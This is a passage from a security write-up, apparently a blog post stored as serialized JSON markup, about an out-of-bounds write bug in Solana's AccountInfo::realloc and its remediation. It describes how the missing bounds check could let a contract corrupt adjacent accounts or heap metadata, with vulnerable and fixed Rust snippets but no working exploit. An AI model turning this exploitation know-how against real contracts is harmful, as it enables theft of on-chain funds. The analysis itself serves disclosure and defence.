contents)",{"type":23,"tag":32,"props":18670,"children":18671},{},[18672,18674,18679,18681,18687,18689,18694,18696,18702,18704,18709,18711,18721],{"type":29,"value":18673},"Assumption #2 is ",{"type":23,"tag":4321,"props":18675,"children":18676},{},[18677],{"type":29,"value":18678},"probably",{"type":29,"value":18680}," fine when we only care about targeting Solana's bytecode machine, but still not a particularly safe assumption to make in case some change happens on the toolchain. And assumption #3 turns out to be a non-issue since we had just done a ",{"type":23,"tag":154,"props":18682,"children":18684},{"className":18683},[],[18685],{"type":29,"value":18686},"borrow_mut",{"type":29,"value":18688}," of the ",{"type":23,"tag":154,"props":18690,"children":18692},{"className":18691},[],[18693],{"type":29,"value":17550},{"type":29,"value":18695}," (through ",{"type":23,"tag":154,"props":18697,"children":18699},{"className":18698},[],[18700],{"type":29,"value":18701},"AccountInfo::try_borrow_mut_data()",{"type":29,"value":18703},"), and ",{"type":23,"tag":154,"props":18705,"children":18707},{"className":18706},[],[18708],{"type":29,"value":17550},{"type":29,"value":18710}," is not usable between multiple threads",{"type":23,"tag":17520,"props":18712,"children":18713},{},[18714],{"type":23,"tag":68,"props":18715,"children":18719},{"href":18716,"ariaDescribedBy":18717,"dataFootnoteRef":7,"id":18718},"#user-content-fn-sendsync",[17527],"user-content-fnref-sendsync",[18720],{"type":29,"value":5164},{"type":29,"value":18722},", so we already have exclusive access.",{"type":23,"tag":32,"props":18724,"children":18725},{},[18726,18728,18732],{"type":29,"value":18727},"A few more ",{"type":23,"tag":4321,"props":18729,"children":18730},{},[18731],{"type":29,"value":9151},{"type":29,"value":18733}," things of note, that could have gone badly but didn't:",{"type":23,"tag":1022,"props":18735,"children":18736},{},[18737,18779],{"type":23,"tag":143,"props":18738,"children":18739},{},[18740,18742,18748,18750,18755,18757,18762,18764,18769,18771,18777],{"type":29,"value":18741},"By reborrowing the pointer (the ",{"type":23,"tag":154,"props":18743,"children":18745},{"className":18744},[],[18746],{"type":29,"value":18747},"&mut *(\u003Cvalue of type *mut u64>)",{"type":29,"value":18749},"), we've created a reference with an ",{"type":23,"tag":4321,"props":18751,"children":18752},{},[18753],{"type":29,"value":18754},"unbounded lifetime",{"type":29,"value":18756},". Rust is free to infer ",{"type":23,"tag":4321,"props":18758,"children":18759},{},[18760],{"type":29,"value":18761},"any",{"type":29,"value":18763}," lifetime for ",{"type":23,"tag":154,"props":18765,"children":18767},{"className":18766},[],[18768],{"type":29,"value":15995},{"type":29,"value":18770}," (including ",{"type":23,"tag":154,"props":18772,"children":18774},{"className":18773},[],[18775],{"type":29,"value":18776},"'static",{"type":29,"value":18778},"); thankfully it's only used in the next statement and never has a chance to escape.",{"type":23,"tag":143,"props":18780,"children":18781},{},[18782,18784,18790,18792,18797,18799,18804,18806,18811,18813,18818,18820,18825,18827,18832,18834,18840,18842,18847,18849,18854,18856,18861,18863,18868,18870,18875],{"type":29,"value":18783},"Going back to the first statement when we were modifying the data buffer, it turns out we have another lifetime problem: we created a mutable pointer to the data from the ",{"type":23,"tag":154,"props":18785,"children":18787},{"className":18786},[],[18788],{"type":29,"value":18789},"RefMut",{"type":29,"value":18791}," returned from ",{"type":23,"tag":154,"props":18793,"children":18795},{"className":18794},[],[18796],{"type":29,"value":15920},{"type":29,"value":18798},", but the ",{"type":23,"tag":154,"props":18800,"children":18802},{"className":18801},[],[18803],{"type":29,"value":18789},{"type":29,"value":18805}," is dropped at the end of the statement. So, we now have in ",{"type":23,"tag":154,"props":18807,"children":18809},{"className":18808},[],[18810],{"type":29,"value":15995},{"type":29,"value":18812}," a ",{"type":23,"tag":4321,"props":18814,"children":18815},{},[18816],{"type":29,"value":18817},"mutable",{"type":29,"value":18819}," pointer to the ",{"type":23,"tag":154,"props":18821,"children":18823},{"className":18822},[],[18824],{"type":29,"value":17550},{"type":29,"value":18826},"'s data, but the ",{"type":23,"tag":154,"props":18828,"children":18830},{"className":18829},[],[18831],{"type":29,"value":17550},{"type":29,"value":18833}," thinks that we're done with our borrow. If we happened to be in a multithreaded scenario with something like a ",{"type":23,"tag":154,"props":18835,"children":18837},{"className":18836},[],[18838],{"type":29,"value":18839},"Mutex",{"type":29,"value":18841}," instead of a ",{"type":23,"tag":154,"props":18843,"children":18845},{"className":18844},[],[18846],{"type":29,"value":17550},{"type":29,"value":18848}," (but with otherwise semantically identical code), then a different thread could attempt to borrow between creating ",{"type":23,"tag":154,"props":18850,"children":18852},{"className":18851},[],[18853],{"type":29,"value":15995},{"type":29,"value":18855}," and writing to it ",{"type":23,"tag":4321,"props":18857,"children":18858},{},[18859],{"type":29,"value":18860},"and succeed",{"type":29,"value":18862},", resulting in us writing while another reference is alive. However, since ",{"type":23,"tag":154,"props":18864,"children":18866},{"className":18865},[],[18867],{"type":29,"value":15995},{"type":29,"value":18869}," is behind the actual data and thus the region it points to is inaccessible through the ",{"type":23,"tag":154,"props":18871,"children":18873},{"className":18872},[],[18874],{"type":29,"value":5761},{"type":29,"value":18876}," slice, this is still not a problem. I just wanted to highlight how easy it is to mess up borrowing and lifetimes when writing unsafe code.",{"type":23,"tag":32,"props":18878,"children":18879},{},[18880,18882,18887],{"type":29,"value":18881},"Ok, now that we've understood what the code is ",{"type":23,"tag":4321,"props":18883,"children":18884},{},[18885],{"type":29,"value":18886},"trying",{"type":29,"value":18888}," to do, let's try to break it, shall we?",{"type":23,"tag":24,"props":18890,"children":18892},{"id":18891},"what-can-go-wrong",[18893],{"type":29,"value":18894},"What can go wrong?",{"type":23,"tag":320,"props":18896,"children":18898},{"id":18897},"contracts",[18899],{"type":29,"value":18900},"Contracts",{"type":23,"tag":32,"props":18902,"children":18903},{},[18904,18906,18911,18913,18918,18920,18925,18927,18932],{"type":29,"value":18905},"Again, it's quite conspicuous that there's no bounds check whatsoever, and additionally, we notice that at no point did we actually touch the data pointer of the slice reference when ",{"type":23,"tag":154,"props":18907,"children":18909},{"className":18908},[],[18910],{"type":29,"value":15684},{"type":29,"value":18912},"'ing. In other words, when we realloc, all we do is change some size fields, no allocation is happening. So, if we ",{"type":23,"tag":154,"props":18914,"children":18916},{"className":18915},[],[18917],{"type":29,"value":15684},{"type":29,"value":18919}," to some large size, past the end of the buffer of roughly ",{"type":23,"tag":154,"props":18921,"children":18923},{"className":18922},[],[18924],{"type":29,"value":17340},{"type":29,"value":18926}," bytes in the serialized buffer from the BPF loader, then we've got free out-of-bounds memory write! Using the ",{"type":23,"tag":154,"props":18928,"children":18930},{"className":18929},[],[18931],{"type":29,"value":5761},{"type":29,"value":18933}," slice, we can write to anything \"after\" our account's data in memory. Other accounts' data are stored adjacent in memory, so it'd be pretty easy to modify the data or lamports. And remember, sizes and indices are unsigned, so what's \"behind\" our account in memory is actually just very far \"after\" our account - the address will wrap around the end of the address space.",{"type":23,"tag":32,"props":18935,"children":18936},{},[18937,18939,18946],{"type":29,"value":18938},"There is ",{"type":23,"tag":68,"props":18940,"children":18943},{"href":18941,"rel":18942},"https://github.com/solana-labs/solana/blob/94685e1222b3289859a447d62fadea20898241e0/programs/bpf_loader/src/serialization.rs#L324-L328",[72],[18944],{"type":29,"value":18945},"a check",{"type":29,"value":18947}," by the BPF loader, however, and it boils down to:",{"type":23,"tag":4743,"props":18949,"children":18951},{"className":5009,"code":18950,"language":5008,"meta":7,"style":7},"if post_len.saturating_sub(*pre_len) > MAX_PERMITTED_DATA_INCREASE\n    || post_len > MAX_PERMITTED_DATA_LENGTH as usize\n{\n    return Err(InstructionError::InvalidRealloc);\n}\n",[18952],{"type":23,"tag":154,"props":18953,"children":18954},{"__ignoreMap":7},[18955,18993,19023,19030,19063],{"type":23,"tag":504,"props":18956,"children":18957},{"class":5016,"line":5017},[18958,18962,18967,18971,18975,18979,18983,18988],{"type":23,"tag":504,"props":18959,"children":18960},{"style":5067},[18961],{"type":29,"value":17626},{"type":23,"tag":504,"props":18963,"children":18964},{"style":5041},[18965],{"type":29,"value":18966}," post_len",{"type":23,"tag":504,"props":18968,"children":18969},{"style":5047},[18970],{"type":29,"value":357},{"type":23,"tag":504,"props":18972,"children":18973},{"style":5139},[18974],{"type":29,"value":16338},{"type":23,"tag":504,"props":18976,"children":18977},{"style":5058},[18978],{"type":29,"value":603},{"type":23,"tag":504,"props":18980,"children":18981},{"style":5047},[18982],{"type":29,"value":6613},{"type":23,"tag":504,"props":18984,"children":18985},{"style":5041},[18986],{"type":29,"value":18987},"pre_len",{"type":23,"tag":504,"props":18989,"children":18990},{"style":5058},[18991],{"type":29,"value":18992},") > MAX_PERMITTED_DATA_INCREASE\n",{"type":23,"tag":504,"props":18994,"children":18995},{"class":5016,"line":4868},[18996,19001,19005,19009,19014,19018],{"type":23,"tag":504,"props":18997,"children":18998},{"style":5047},[18999],{"type":29,"value":19000},"    ||",{"type":23,"tag":504,"props":19002,"children":19003},{"style":5041},[19004],{"type":29,"value":18966},{"type":23,"tag":504,"props":19006,"children":19007},{"style":5047},[19008],{"type":29,"value":16240},{"type":23,"tag":504,"props":19010,"children":19011},{"style":5058},[19012],{"type":29,"value":19013}," MAX_PERMITTED_DATA_LENGTH ",{"type":23,"tag":504,"props":19015,"children":19016},{"style":5030},[19017],{"type":29,"value":10887},{"type":23,"tag":504,"props":19019,"children":19020},{"style":5467},[19021],{"type":29,"value":19022}," usize\n",{"type":23,"tag":504,"props":19024,"children":19025},{"class":5016,"line":4876},[19026],{"type":23,"tag":504,"props":19027,"children":19028},{"style":5058},[19029],{"type":29,"value":12926},{"type":23,"tag":504,"props":19031,"children":19032},{"class":5016,"line":5099},[19033,19038,19042,19046,19050,19054,19059],{"type":23,"tag":504,"props":19034,"children":19035},{"style":5067},[19036],{"type":29,"value":19037},"    return",{"type":23,"tag":504,"props":19039,"children":19040},{"style":5467},[19041],{"type":29,"value":17796},{"type":23,"tag":504,"props":19043,"children":19044},{"style":5058},[19045],{"type":29,"value":603},{"type":23,"tag":504,"props":19047,"children":19048},{"style":5467},[19049],{"type":29,"value":17805},{"type":23,"tag":504,"props":19051,"children":19052},{"style":5047},[19053],{"type":29,"value":5530},{"type":23,"tag":504,"props":19055,"children":19056},{"style":5467},[19057],{"type":29,"value":19058},"InvalidRealloc",{"type":23,"tag":504,"props":19060,"children":19061},{"style":5058},[19062],{"type":29,"value":5888},{"type":23,"tag":504,"props":19064,"children":19065},{"class":5016,"line":5203},[19066],{"type":23,"tag":504,"props":19067,"children":19068},{"style":5058},[19069],{"type":29,"value":5965},{"type":23,"tag":32,"props":19071,"children":19072},{},[19073,19075,19080,19082,19087],{"type":29,"value":19074},"But, like the other checks performed by the loader, this check only runs after the contract ",{"type":23,"tag":4321,"props":19076,"children":19077},{},[19078],{"type":29,"value":19079},"finishes",{"type":29,"value":19081}," execution. ",{"type":23,"tag":4321,"props":19083,"children":19084},{},[19085],{"type":29,"value":19086},"During",{"type":29,"value":19088}," execution, the contract is free to make whatever modifications to memory that it wants, since Solana's eBPF machine doesn't hook memory accesses in any way.",{"type":23,"tag":32,"props":19090,"children":19091},{},[19092,19094,19099,19101,19106,19108,19115],{"type":29,"value":19093},"The end result is that in order to successfully exploit this bug, an attacker needs a way to change the length back to something valid before the program exits. However, with potentially ",{"type":23,"tag":4321,"props":19095,"children":19096},{},[19097],{"type":29,"value":19098},"arbitrary",{"type":29,"value":19100}," memory access through a mistakenly-",{"type":23,"tag":154,"props":19102,"children":19104},{"className":19103},[],[19105],{"type":29,"value":15684},{"type":29,"value":19107},"'d account, this falls in the relm of some ",{"type":23,"tag":68,"props":19109,"children":19112},{"href":19110,"rel":19111},"https://en.wikipedia.org/wiki/Buffer_overflow",[72],[19113],{"type":29,"value":19114},"old-school pwning",{"type":29,"value":19116}," - even if we can't use the out-of-bounds access directly, there's plenty of pointers in memory that could be of use.",{"type":23,"tag":320,"props":19118,"children":19120},{"id":19119},"not-contracts",[19121],{"type":29,"value":19122},"Not-contracts?",{"type":23,"tag":32,"props":19124,"children":19125},{},[19126,19128,19133,19135,19145,19147,19159,19161,19168,19170,19175,19177,19182,19184,19197,19199,19204,19206,19211],{"type":29,"value":19127},"Remember when we said that all this code makes sense ",{"type":23,"tag":4321,"props":19129,"children":19130},{},[19131],{"type":29,"value":19132},"if the data points to the BPF loader's serialized buffer",{"type":29,"value":19134},"? Well unfortunately for us, there's nothing enforcing that; all the fields on ",{"type":23,"tag":68,"props":19136,"children":19139},{"href":19137,"rel":19138},"https://docs.rs/solana-program/1.10.28/solana_program/account_info/struct.AccountInfo.html",[72],[19140],{"type":23,"tag":154,"props":19141,"children":19143},{"className":19142},[],[19144],{"type":29,"value":16985},{"type":29,"value":19146}," are public, and so is its ",{"type":23,"tag":68,"props":19148,"children":19151},{"href":19149,"rel":19150},"https://docs.rs/solana-program/1.10.28/solana_program/account_info/struct.AccountInfo.html#method.new",[72],[19152,19157],{"type":23,"tag":154,"props":19153,"children":19155},{"className":19154},[],[19156],{"type":29,"value":17169},{"type":29,"value":19158}," method",{"type":29,"value":19160}," (which is ",{"type":23,"tag":68,"props":19162,"children":19165},{"href":19163,"rel":19164},"https://docs.rs/solana-program/1.10.28/src/solana_program/account_info.rs.html#160-180",[72],[19166],{"type":29,"value":19167},"nothing more than a thin wrapper around just creating the struct literal yourself",{"type":29,"value":19169},"). The ",{"type":23,"tag":154,"props":19171,"children":19173},{"className":19172},[],[19174],{"type":29,"value":15684},{"type":29,"value":19176}," code critically assumes that the memory 8 bytes behind the data buffer is the data's length and that we can write to it however we want when realloc'ing. So, clearly if we were to create an ",{"type":23,"tag":154,"props":19178,"children":19180},{"className":19179},[],[19181],{"type":29,"value":16985},{"type":29,"value":19183}," ourselves - potentially through the ",{"type":23,"tag":68,"props":19185,"children":19188},{"href":19186,"rel":19187},"https://docs.rs/solana-program/1.10.28/solana_program/account_info/trait.Account.html",[72],[19189,19195],{"type":23,"tag":154,"props":19190,"children":19192},{"className":19191},[],[19193],{"type":29,"value":19194},"Account",{"type":29,"value":19196}," trait",{"type":29,"value":19198},", which is hardly documented at all and makes ",{"type":23,"tag":4321,"props":19200,"children":19201},{},[19202],{"type":29,"value":19203},"no",{"type":29,"value":19205}," mention of any prerequisites about the nature of the references that need to be returned - we'd run in to problems from pretty much any practical way we'd allocate the ",{"type":23,"tag":154,"props":19207,"children":19209},{"className":19208},[],[19210],{"type":29,"value":5761},{"type":29,"value":19212}," buffer.",{"type":23,"tag":32,"props":19214,"children":19215},{},[19216,19218,19229,19231,19237,19239,19245,19247,19260,19262,19267,19269,19274,19276,19281,19283,19288,19290,19295,19297,19302],{"type":29,"value":19217},"One long arm of this is ",{"type":23,"tag":68,"props":19219,"children":19222},{"href":19220,"rel":19221},"https://docs.rs/solana-sdk/1.10.28/solana_sdk/account/struct.Account.html",[72],[19223],{"type":23,"tag":154,"props":19224,"children":19226},{"className":19225},[],[19227],{"type":29,"value":19228},"solana_sdk::account::Account",{"type":29,"value":19230}," - in the client SDK. It holds an account's data in a ",{"type":23,"tag":154,"props":19232,"children":19234},{"className":19233},[],[19235],{"type":29,"value":19236},"Vec\u003Cu8>",{"type":29,"value":19238},", and it implements ",{"type":23,"tag":154,"props":19240,"children":19242},{"className":19241},[],[19243],{"type":29,"value":19244},"solana_program::account_info::Account",{"type":29,"value":19246}," (the trait from earlier) - by ",{"type":23,"tag":68,"props":19248,"children":19251},{"href":19249,"rel":19250},"https://docs.rs/solana-sdk/1.10.28/src/solana_sdk/account.rs.html#661-669",[72],[19252,19254],{"type":29,"value":19253},"returning a reference to the contents of that ",{"type":23,"tag":154,"props":19255,"children":19257},{"className":19256},[],[19258],{"type":29,"value":19259},"Vec",{"type":29,"value":19261},". So, ",{"type":23,"tag":154,"props":19263,"children":19265},{"className":19264},[],[19266],{"type":29,"value":15684},{"type":29,"value":19268}," writes the size into the 8 bytes right before ",{"type":23,"tag":154,"props":19270,"children":19272},{"className":19271},[],[19273],{"type":29,"value":5761},{"type":29,"value":19275},"; ",{"type":23,"tag":154,"props":19277,"children":19279},{"className":19278},[],[19280],{"type":29,"value":5761},{"type":29,"value":19282}," is the buffer of a ",{"type":23,"tag":154,"props":19284,"children":19286},{"className":19285},[],[19287],{"type":29,"value":19259},{"type":29,"value":19289},", and so it is the contents of a heap allocation; and, immediately before a heap allocation sits critical metadata. The result? If, for some reason, you construct an ",{"type":23,"tag":154,"props":19291,"children":19293},{"className":19292},[],[19294],{"type":29,"value":16985},{"type":29,"value":19296}," out of an SDK ",{"type":23,"tag":154,"props":19298,"children":19300},{"className":19299},[],[19301],{"type":29,"value":19194},{"type":29,"value":19303}," and then realloc it (which admittedly is quite a stretch), then you get heap corruption - something that's very likely to lead to remote code execution.",{"type":23,"tag":24,"props":19305,"children":19307},{"id":19306},"remediation",[19308],{"type":29,"value":19309},"Remediation",{"type":23,"tag":32,"props":19311,"children":19312},{},[19313],{"type":29,"value":19314},"Obviously the fix for the main issue at hand is to check that the resize operation remains in-bounds. But how do we know how big is too big?",{"type":23,"tag":32,"props":19316,"children":19317},{},[19318,19320,19325,19327,19332,19334,19345,19347,19352,19354,19361],{"type":29,"value":19319},"The sensible thing to do would be to store the initial size in the ",{"type":23,"tag":154,"props":19321,"children":19323},{"className":19322},[],[19324],{"type":29,"value":16985},{"type":29,"value":19326},"... except for the fact that the layout of ",{"type":23,"tag":154,"props":19328,"children":19330},{"className":19329},[],[19331],{"type":29,"value":16985},{"type":29,"value":19333}," is actually part of the ABI between the contract runtime and the loader :face_palm:",{"type":23,"tag":17520,"props":19335,"children":19336},{},[19337],{"type":23,"tag":68,"props":19338,"children":19342},{"href":19339,"ariaDescribedBy":19340,"dataFootnoteRef":7,"id":19341},"#user-content-fn-layout",[17527],"user-content-fnref-layout",[19343],{"type":29,"value":19344},"3",{"type":29,"value":19346}," So, with changing ",{"type":23,"tag":154,"props":19348,"children":19350},{"className":19349},[],[19351],{"type":29,"value":16985},{"type":29,"value":19353}," out of the question, the Solana team came up with a different place to stash the information: inside a section of padding in the serialized buffer passed from the runtime. This happened to be next to where the pubkey was stored, which resulted in the creation of ",{"type":23,"tag":68,"props":19355,"children":19358},{"href":19356,"rel":19357},"https://docs.rs/solana-program/1.10.30/src/solana_program/account_info.rs.html#74-85",[72],[19359],{"type":29,"value":19360},"this function",{"type":29,"value":6533},{"type":23,"tag":4743,"props":19363,"children":19365},{"className":5009,"code":19364,"language":5008,"meta":7,"style":7},"/// Return the account's original data length when it was serialized for the\n/// current program invocation.\n///\n/// # Safety\n///\n/// This method assumes that the original data length was serialized as a u32\n/// integer in the 4 bytes immediately preceding the serialized account key.\npub unsafe fn original_data_len(&self) -> usize {\n    let key_ptr = self.key as *const _ as *const u8;\n    let original_data_len_ptr = key_ptr.offset(-4) as *const u32;\n    *original_data_len_ptr as usize\n}\n",[19366],{"type":23,"tag":154,"props":19367,"children":19368},{"__ignoreMap":7},[19369,19377,19385,19393,19401,19408,19416,19424,19472,19537,19603,19624],{"type":23,"tag":504,"props":19370,"children":19371},{"class":5016,"line":5017},[19372],{"type":23,"tag":504,"props":19373,"children":19374},{"style":5021},[19375],{"type":29,"value":19376},"/// Return the account's original data length when it was serialized for the\n",{"type":23,"tag":504,"props":19378,"children":19379},{"class":5016,"line":4868},[19380],{"type":23,"tag":504,"props":19381,"children":19382},{"style":5021},[19383],{"type":29,"value":19384},"/// current program invocation.\n",{"type":23,"tag":504,"props":19386,"children":19387},{"class":5016,"line":4876},[19388],{"type":23,"tag":504,"props":19389,"children":19390},{"style":5021},[19391],{"type":29,"value":19392},"///\n",{"type":23,"tag":504,"props":19394,"children":19395},{"class":5016,"line":5099},[19396],{"type":23,"tag":504,"props":19397,"children":19398},{"style":5021},[19399],{"type":29,"value":19400},"/// # Safety\n",{"type":23,"tag":504,"props":19402,"children":19403},{"class":5016,"line":5203},[19404],{"type":23,"tag":504,"props":19405,"children":19406},{"style":5021},[19407],{"type":29,"value":19392},{"type":23,"tag":504,"props":19409,"children":19410},{"class":5016,"line":5308},[19411],{"type":23,"tag":504,"props":19412,"children":19413},{"style":5021},[19414],{"type":29,"value":19415},"/// This method assumes that the original data length was serialized as a u32\n",{"type":23,"tag":504,"props":19417,"children":19418},{"class":5016,"line":5336},[19419],{"type":23,"tag":504,"props":19420,"children":19421},{"style":5021},[19422],{"type":29,"value":19423},"/// integer in the 4 bytes immediately preceding the serialized account key.\n",{"type":23,"tag":504,"props":19425,"children":19426},{"class":5016,"line":5349},[19427,19431,19435,19439,19444,19448,19452,19456,19460,19464,19468],{"type":23,"tag":504,"props":19428,"children":19429},{"style":5030},[19430],{"type":29,"value":15736},{"type":23,"tag":504,"props":19432,"children":19433},{"style":5030},[19434],{"type":29,"value":16636},{"type":23,"tag":504,"props":19436,"children":19437},{"style":5030},[19438],{"type":29,"value":15741},{"type":23,"tag":504,"props":19440,"children":19441},{"style":5139},[19442],{"type":29,"value":19443}," original_data_len",{"type":23,"tag":504,"props":19445,"children":19446},{"style":5058},[19447],{"type":29,"value":603},{"type":23,"tag":504,"props":19449,"children":19450},{"style":5047},[19451],{"type":29,"value":5151},{"type":23,"tag":504,"props":19453,"children":19454},{"style":5030},[19455],{"type":29,"value":15759},{"type":23,"tag":504,"props":19457,"children":19458},{"style":5058},[19459],{"type":29,"value":5128},{"type":23,"tag":504,"props":19461,"children":19462},{"style":5047},[19463],{"type":29,"value":15803},{"type":23,"tag":504,"props":19465,"children":19466},{"style":5467},[19467],{"type":29,"value":15777},{"type":23,"tag":504,"props":19469,"children":19470},{"style":5058},[19471],{"type":29,"value":5333},{"type":23,"tag":504,"props":19473,"children":19474},{"class":5016,"line":5367},[19475,19479,19484,19488,19492,19496,19501,19505,19509,19513,19517,19521,19525,19529,19533],{"type":23,"tag":504,"props":19476,"children":19477},{"style":5030},[19478],{"type":29,"value":5033},{"type":23,"tag":504,"props":19480,"children":19481},{"style":5041},[19482],{"type":29,"value":19483}," key_ptr",{"type":23,"tag":504,"props":19485,"children":19486},{"style":5047},[19487],{"type":29,"value":5050},{"type":23,"tag":504,"props":19489,"children":19490},{"style":5030},[19491],{"type":29,"value":15843},{"type":23,"tag":504,"props":19493,"children":19494},{"style":5047},[19495],{"type":29,"value":357},{"type":23,"tag":504,"props":19497,"children":19498},{"style":5058},[19499],{"type":29,"value":19500},"key ",{"type":23,"tag":504,"props":19502,"children":19503},{"style":5030},[19504],{"type":29,"value":10887},{"type":23,"tag":504,"props":19506,"children":19507},{"style":5047},[19508],{"type":29,"value":11863},{"type":23,"tag":504,"props":19510,"children":19511},{"style":5030},[19512],{"type":29,"value":11701},{"type":23,"tag":504,"props":19514,"children":19515},{"style":5041},[19516],{"type":29,"value":5075},{"type":23,"tag":504,"props":19518,"children":19519},{"style":5030},[19520],{"type":29,"value":10873},{"type":23,"tag":504,"props":19522,"children":19523},{"style":5047},[19524],{"type":29,"value":11863},{"type":23,"tag":504,"props":19526,"children":19527},{"style":5030},[19528],{"type":29,"value":11701},{"type":23,"tag":504,"props":19530,"children":19531},{"style":5467},[19532],{"type":29,"value":16680},{"type":23,"tag":504,"props":19534,"children":19535},{"style":5058},[19536],{"type":29,"value":5061},{"type":23,"tag":504,"props":19538,"children":19539},{"class":5016,"line":5388},[19540,19544,19549,19553,19557,19561,19565,19569,19573,19578,19582,19586,19590,19594,19599],{"type":23,"tag":504,"props":19541,"children":19542},{"style":5030},[19543],{"type":29,"value":5033},{"type":23,"tag":504,"props":19545,"children":19546},{"style":5041},[19547],{"type":29,"value":19548}," original_data_len_ptr",{"type":23,"tag":504,"props":19550,"children":19551},{"style":5047},[19552],{"type":29,"value":5050},{"type":23,"tag":504,"props":19554,"children":19555},{"style":5041},[19556],{"type":29,"value":19483},{"type":23,"tag":504,"props":19558,"children":19559},{"style":5047},[19560],{"type":29,"value":357},{"type":23,"tag":504,"props":19562,"children":19563},{"style":5139},[19564],{"type":29,"value":15947},{"type":23,"tag":504,"props":19566,"children":19567},{"style":5058},[19568],{"type":29,"value":603},{"type":23,"tag":504,"props":19570,"children":19571},{"style":5047},[19572],{"type":29,"value":6368},{"type":23,"tag":504,"props":19574,"children":19575},{"style":5083},[19576],{"type":29,"value":19577},"4",{"type":23,"tag":504,"props":19579,"children":19580},{"style":5058},[19581],{"type":29,"value":5128},{"type":23,"tag":504,"props":19583,"children":19584},{"style":5030},[19585],{"type":29,"value":10887},{"type":23,"tag":504,"props":19587,"children":19588},{"style":5047},[19589],{"type":29,"value":11863},{"type":23,"tag":504,"props":19591,"children":19592},{"style":5030},[19593],{"type":29,"value":11701},{"type":23,"tag":504,"props":19595,"children":19596},{"style":5467},[19597],{"type":29,"value":19598}," u32",{"type":23,"tag":504,"props":19600,"children":19601},{"style":5058},[19602],{"type":29,"value":5061},{"type":23,"tag":504,"props":19604,"children":19605},{"class":5016,"line":5397},[19606,19611,19616,19620],{"type":23,"tag":504,"props":19607,"children":19608},{"style":5047},[19609],{"type":29,"value":19610},"    *",{"type":23,"tag":504,"props":19612,"children":19613},{"style":5041},[19614],{"type":29,"value":19615},"original_data_len_ptr",{"type":23,"tag":504,"props":19617,"children":19618},{"style":5030},[19619],{"type":29,"value":10873},{"type":23,"tag":504,"props":19621,"children":19622},{"style":5467},[19623],{"type":29,"value":19022},{"type":23,"tag":504,"props":19625,"children":19626},{"class":5016,"line":5649},[19627],{"type":23,"tag":504,"props":19628,"children":19629},{"style":5058},[19630],{"type":29,"value":5965},{"type":23,"tag":32,"props":19632,"children":19633},{},[19634,19636,19641,19643,19648,19650,19655,19657,19662,19664,19671,19673,19680,19681,19688,19689,19696,19697,19704],{"type":29,"value":19635},"It's marked ",{"type":23,"tag":154,"props":19637,"children":19639},{"className":19638},[],[19640],{"type":29,"value":16402},{"type":29,"value":19642},", properly documented, but there's just one problem: we need this for ",{"type":23,"tag":154,"props":19644,"children":19646},{"className":19645},[],[19647],{"type":29,"value":15684},{"type":29,"value":19649},", which originally was not ",{"type":23,"tag":154,"props":19651,"children":19653},{"className":19652},[],[19654],{"type":29,"value":16402},{"type":29,"value":19656},". So, in the name of not breaking API compatibility, the Solana team just threw the call in an ",{"type":23,"tag":154,"props":19658,"children":19660},{"className":19659},[],[19661],{"type":29,"value":16402},{"type":29,"value":19663}," block and added ",{"type":23,"tag":68,"props":19665,"children":19668},{"href":19666,"rel":19667},"https://docs.rs/solana-program/1.10.30/solana_program/account_info/struct.AccountInfo.html#safety-1",[72],[19669],{"type":29,"value":19670},"a doc comment",{"type":29,"value":19672}," - adding to the ",{"type":23,"tag":68,"props":19674,"children":19677},{"href":19675,"rel":19676},"https://docs.rs/solana-program/1.10.30/solana_program/program/fn.invoke_signed_unchecked.html#safety",[72],[19678],{"type":29,"value":19679},"small",{"type":29,"value":1698},{"type":23,"tag":68,"props":19682,"children":19685},{"href":19683,"rel":19684},"https://docs.rs/solana-program/1.11.2/solana_program/program_memory/fn.sol_memcpy.html#safety",[72],[19686],{"type":29,"value":19687},"pile",{"type":29,"value":1698},{"type":23,"tag":68,"props":19690,"children":19693},{"href":19691,"rel":19692},"https://docs.rs/solana-program/1.11.2/solana_program/program_memory/fn.sol_memset.html#safety",[72],[19694],{"type":29,"value":19695},"of",{"type":29,"value":1698},{"type":23,"tag":68,"props":19698,"children":19701},{"href":19699,"rel":19700},"https://docs.rs/solana-program/1.11.2/solana_program/program_memory/fn.sol_memcmp.html#safety",[72],[19702],{"type":29,"value":19703},"functions",{"type":29,"value":19705}," that are actually unsafe but aren't marked as such for API compatibility reasons (and the last three - all related to each other - don't even have the comment until version 1.11, which isn't even on mainnet as of the time of writing).",{"type":23,"tag":24,"props":19707,"children":19709},{"id":19708},"towards-safer-unsafe",[19710,19712],{"type":29,"value":19711},"Towards safer ",{"type":23,"tag":154,"props":19713,"children":19715},{"className":19714},[],[19716],{"type":29,"value":16402},{"type":23,"tag":32,"props":19718,"children":19719},{},[19720,19722,19727,19729,19734,19736,19743],{"type":29,"value":19721},"Let's circle back to that main ",{"type":23,"tag":154,"props":19723,"children":19725},{"className":19724},[],[19726],{"type":29,"value":16402},{"type":29,"value":19728}," block inside ",{"type":23,"tag":154,"props":19730,"children":19732},{"className":19731},[],[19733],{"type":29,"value":15684},{"type":29,"value":19735}," for a bit, shall we? As a reminder, it looks like ",{"type":23,"tag":68,"props":19737,"children":19740},{"href":19738,"rel":19739},"https://docs.rs/solana-program/1.10.28/src/solana_program/account_info.rs.html#127-136",[72],[19741],{"type":29,"value":19742},"this",{"type":29,"value":6533},{"type":23,"tag":4743,"props":19745,"children":19747},{"className":5009,"code":19746,"language":5008,"meta":7,"style":7},"// realloc\nunsafe {\n    // First set new length in the serialized data\n    let ptr = self.try_borrow_mut_data()?.as_mut_ptr().offset(-8) as *mut u64;\n    *ptr = new_len as u64;\n\n    // Then set the new length in the local slice\n    let ptr = &mut *(((self.data.as_ptr() as *const u64).offset(1) as u64) as *mut u64);\n    *ptr = new_len as u64;\n}\n",[19748],{"type":23,"tag":154,"props":19749,"children":19750},{"__ignoreMap":7},[19751,19759,19770,19778,19865,19896,19903,19911,20038,20069],{"type":23,"tag":504,"props":19752,"children":19753},{"class":5016,"line":5017},[19754],{"type":23,"tag":504,"props":19755,"children":19756},{"style":5021},[19757],{"type":29,"value":19758},"// realloc\n",{"type":23,"tag":504,"props":19760,"children":19761},{"class":5016,"line":4868},[19762,19766],{"type":23,"tag":504,"props":19763,"children":19764},{"style":5030},[19765],{"type":29,"value":16402},{"type":23,"tag":504,"props":19767,"children":19768},{"style":5058},[19769],{"type":29,"value":5333},{"type":23,"tag":504,"props":19771,"children":19772},{"class":5016,"line":4876},[19773],{"type":23,"tag":504,"props":19774,"children":19775},{"style":5021},[19776],{"type":29,"value":19777},"    // First set new length in the serialized 